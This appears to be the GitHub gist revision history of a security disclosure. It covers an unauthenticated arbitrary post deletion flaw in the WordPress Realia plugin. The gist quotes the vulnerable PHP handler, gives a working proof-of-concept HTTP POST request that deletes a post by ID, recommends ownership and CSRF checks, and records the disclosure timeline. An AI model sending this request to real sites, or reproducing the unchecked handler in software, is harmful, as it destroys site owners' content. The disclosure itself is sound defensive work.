Last active
October 15, 2020 09:18
-
-
Save erwanlr/625a3a241a6bd59f18b8b048cedf1b41 to your computer and use it in GitHub Desktop.
Revisions
-
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -44,4 +44,4 @@ Fix: It would be recommended to check that the post given belongs to the user ma - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato. - August 5th, 2020 - Further investigations done after the lack of response from Envato revealed that the cause of the issue in the Premium theme was the free plugin Realia. Issue escalated to the WordPress plugin team. - August 14th, 2020 - WP Plugins team investigating. - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository. Disclosure. -
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 3 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -41,7 +41,7 @@ Given that this plugin has not been updated for the last three years, other issu Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done. # Timeline - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato. - August 5th, 2020 - Further investigations done after the lack of response from Envato revealed that the cause of the issue in the Premium theme was the free plugin Realia. Issue escalated to the WordPress plugin team. - August 14th, 2020 - WP Plugins team investigating. - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository. -
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,4 @@ While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) in the [Home Sweet](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953) premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause. In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. -
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,4 @@ While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) in the [Home Sweet premium theme](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953), allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause. In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. -
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -42,6 +42,6 @@ Fix: It would be recommended to check that the post given belongs to the user ma # Timeline - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato - August 5th, 2020 - Further investigations doner after the lack of response from Envato revealed that the cause of the issue in the Premium theme is the free plugin Realia. Issue escalated to the WordPress plugin team. - August 14th, 2020 - WP Plugins team investigating - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository. -
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 8 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,4 @@ While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) on the [Home Sweet premium theme](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953), allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause. In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. @@ -38,4 +38,10 @@ property_id=7&remove_property_form= Given that this plugin has not been updated for the last three years, other issues may be present. Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done. # Timeline - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato - August 5th, 2020 - Further investigations doner after the lack of response from Envato revealed that the cause of the issue in the Premium theme is a the Realia plugin. Issue escalated to the WordPress plugin team. - August 14th, 2020 - WP Plugins team investigating - October 15th, 2020 - No updates, Realias plugin has also been closed from the WP repository. -
erwanlr revised this gist
Oct 15, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause. In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php) ```php -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause. In fact, having this plugin installed (which some theme require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php) ```php -
erwanlr renamed this gist
Aug 5, 2020 . 1 changed file with 0 additions and 0 deletions.There are no files selected for viewing
File renamed without changes. -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -38,4 +38,4 @@ property_id=7&remove_property_form= Given that this plugin has not been updated for the last three years, other issues may be present. Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done. -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -19,7 +19,7 @@ public static function process_remove_form() { } ``` PoC (this will delete the Post with id `7`): ``` POST / HTTP/1.1 Host: 127.0.0.1 -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,4 @@ While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause. In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,4 @@ While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it. In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 3 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -36,4 +36,6 @@ Content-Length: 35 property_id=7&remove_property_form= ``` Given that this plugin has not been updated for the last three years, other issues may be present. Fix: It would be recommended to check if the post given belongs to the user before deleting it. -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 3 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -34,4 +34,6 @@ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 35 property_id=7&remove_property_form= ``` Given that this plugin has not been updated for the last three years, other issues may be present. -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 2 additions and 4 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,8 +1,6 @@ While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it. In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php) ```php -
erwanlr revised this gist
Aug 5, 2020 . 1 changed file with 9 additions and 9 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -9,16 +9,16 @@ In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/real add_action( 'init', array( __CLASS__, 'process_remove_form' ), 9999 ); [...] public static function process_remove_form() { if ( ! isset( $_POST['remove_property_form'] ) || empty( $_POST['property_id'] ) ) { return; } if ( wp_delete_post( $_POST['property_id'] ) ) { $_SESSION['messages'][] = array( 'success', __( 'Property has been successfully removed.', 'realia' ) ); } else { $_SESSION['messages'][] = array( 'danger', __( 'An error occured when removing an item.', 'realia' ) ); } } ``` PoC: -
erwanlr created this gist
Aug 5, 2020 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,39 @@ While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it. In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete. In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php) ```php add_action( 'init', array( __CLASS__, 'process_remove_form' ), 9999 ); [...] public static function process_remove_form() { if ( ! isset( $_POST['remove_property_form'] ) || empty( $_POST['property_id'] ) ) { return; } if ( wp_delete_post( $_POST['property_id'] ) ) { $_SESSION['messages'][] = array( 'success', __( 'Property has been successfully removed.', 'realia' ) ); } else { $_SESSION['messages'][] = array( 'danger', __( 'An error occured when removing an item.', 'realia' ) ); } } ``` PoC: ``` POST / HTTP/1.1 Host: 127.0.0.1 User-Agent: PoC/Realia-1.4-IDOR Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/ Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 35 property_id=7&remove_property_form= ```